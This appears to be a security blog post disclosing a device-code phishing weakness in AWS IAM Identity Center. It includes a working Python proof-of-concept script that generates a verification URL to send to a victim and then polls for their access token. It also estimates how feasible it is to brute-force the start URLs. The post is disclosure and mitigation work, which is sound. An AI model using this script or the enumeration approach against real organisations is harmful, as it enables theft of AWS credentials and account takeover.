MITMing AWS IAM Identity Center OIDC Authentication
Every week, almost without fail, I come across one thing that confuses, entertains, or most commonly infuriates me. I've decided to keep a record of my adventures.
Weaknesses in the OIDC Device Authorization Flow used by #AWS. That's today's topic. I know there are some other folks who have talked about this in the past, but I think its important to examine the underlying problems and show that the issue is still relevant so that AWS has an impetus to fix it. Also, please note that improving usage of AWS IAM Identity Center is something my team is working on at Lyft, so you can expect a more detailed blog post on our progress over at the Lyft Eng Blog in the near future (Author's Note: The blog you're reading right now is not endorsed by Lyft nor does it reflect the views of Lyft in any way. All views are entirely my own).
The Background
AWS IAM Identity Center (formerly AWS-SSO) is a service designed to solve a problem, a problem that many of you have - even if you don't realize it. While AWS-SSO has been available since 2017 and AWS' classic IAM has provided SAML support since... wow - 2013 - until recently there was never really a true, idiomatically complete, solution to SSO.
I guess the fundamental issue has always been CLI access. The classic IAM solution provides a pretty reasonable approach for the UI, but relies on third party hack-ware to provide for the CLI. The UI side wasn't without its problems though, its biggest issue is that SCIM hadn't really reached widespread adoption when classic IAM SAML came around and so it was left to the IDP to determine what roles the user had. This has led to some -- awkward solutions (Author's Note: Again, please keep an eye out for the Lyft Blog).
While UI access via SSO is fairly well supported via SAML, common SAML flows don't historically support command line tools very well. By comparison, common OIDC flows tend to provide a more CLI friendly approach to relaying access tokens. This is where AWS IAM Identity Center comes in, it supports OIDC Auth and SCIM provisioning, effectively solving the problems of its predecessor.
Not so quick though, AWS-SSO uses the OIDC Device Authorization Flow to support CLI based authentication, while the reasons behind this are likely to support IOT device development (think Alexa), it does bring with it a host of security ramifications.
AWS' Device Code OIDC Flow
You've probably seen the device code flow while logging into a streaming service on embedded devices. It works by starting the flow on the device (think apple TV, etc) and then providing the user a URL and 'user code' to access on a more powerful endpoint. The user will navigate to this URL in a full featured browser and provides auth and the user code. Meanwhile, the device, without a browser, is polling a specific endpoint with that same 'user code'. When the user completes authentication, the endpoint will return an access token or other authentication information to the embedded device.
AWS puts a little twist on the Device Authorization Flow. Effectively there are 4 steps:
The access token provided by AWS can be used in conjunction with many AWS endpoints including sts.assumeRole(), sso.listAccounts, and sso.listRoles. using sts.assumeRole, a CLI can request a short lived access key and secret for a provided role.
The Problem
Did you see the issue? This issue is actually discussed in the RFC and has also been discussed a bit before. The user only authenticates in step 3), The APIs that produce the Device Code, Client ID, and Client Secret are all unauthenticated and those pieces of information can all be collected by an attacker.
While it may be reasonable to accept this risk for a browserless embedded device operating on your own local network, AWS' implementation conceptually adds an unneeded trust boundary between the requesting application and the receiving application, even though they are typically the same (AWS CLI).
So, let's demonstrate how to exploit this issue:
领英推荐
data = {
"clientName": "chaim-sso-test",
"clientType": "public",
"scopes": []
}
headers = {"Content-type": "application/json"}
register_resp = requests.post("https://oidc.us-east-1.amazonaws.com/client/register", json=data, headers=headers).json()
data = {
"clientId": register_resp['clientId'],
"clientSecret": register_resp['clientSecret'],
"startUrl": "https://d-{victims_dir_id}.awsapps.com/start"
}
resp = requests.post("https://oidc.us-east-1.amazonaws.com/device_authorization", json=data, headers=headers)
device_auth_resp = resp.json()
print(f"Send this URL to victim: {device_auth_resp['verificationUriComplete']}")
print("Entering into polling waiting for access token.")
while True:
data = {
"clientId": register_resp['clientId'],
"clientSecret": register_resp['clientSecret'],
"code": device_auth_resp['userCode'],
"deviceCode": device_auth_resp['deviceCode'],
"grantType": "urn:ietf:params:oauth:grant-type:device_code"
}
token_resp = requests.post("https://oidc.us-east-1.amazonaws.com/token", json=data, headers=headers)
if token_resp.status_code != 400:
print(f"Got Access Token {token_resp.json()['accessToken']}")
break
time.sleep(1)
One important question to pulling off this attack is the validity time for the user code. The user code is only valid for 10 minutes after generation. However, there is nothing preventing an attacker from generating that link JIT, once they've tricked the user into visiting their site and redirecting them.
Ostensibly the only possibly non-public piece of this puzzle is the AWS provided start_url. This can be a fairly large barrier to entry and makes this attack better suited for a former/current employees to carry out, but a few things are on the side of the generic attackers:
Given a cursory look at the structure of these start_urls, back of napkin math would have you believe that the number of viable URLs is 36^10 . While I too am excited to search URLs until my certain death befalls me, looking at additional samples on Github, I found a shocking conclusion. It appears that the start_urls are 10 hex digits. Furthermore, all observed samples hold the following pattern: d-9*67******.awsapps.com/start. This drags down our options from 3 quadrillion combinations to 16^7, only ~268 million combinations. Even a synchronous, unoptimized PoC was searching this space at about 1000 requests per minute, sure, at this rate it'd take about half a year to search the entire space, but keep in mind that this means that it would take 186 hosts only 1 day to do this work (far less if optimized).
The Solution
In most situations, users are leveraging the same device to initiate the flow as they are to use the access token. This makes the use of the Device Authorization Flow, superfluous. There is already a flow that is designed to support this exact scenario: Authorization Code Flow. At this point, this flow isn't supported by AWS IAM Identity Center but there is nothing preventing it from being supported.
While we wait for AWS, security teams have the unfortunate job of leveraging training to mitigate this threat. It is important that users understand the use cases when this OIDC flow is expected to occur, in most cases solely with AWS-CLI (unless a wrapper is involved). With this in mind, we can encourage folks to be mindful of abnormal events related to AWS. But even with all the training in the world, in this case, a victim may only see the consent dialog as the first and last possible warning before giving away the keys to the kingdom - that's no good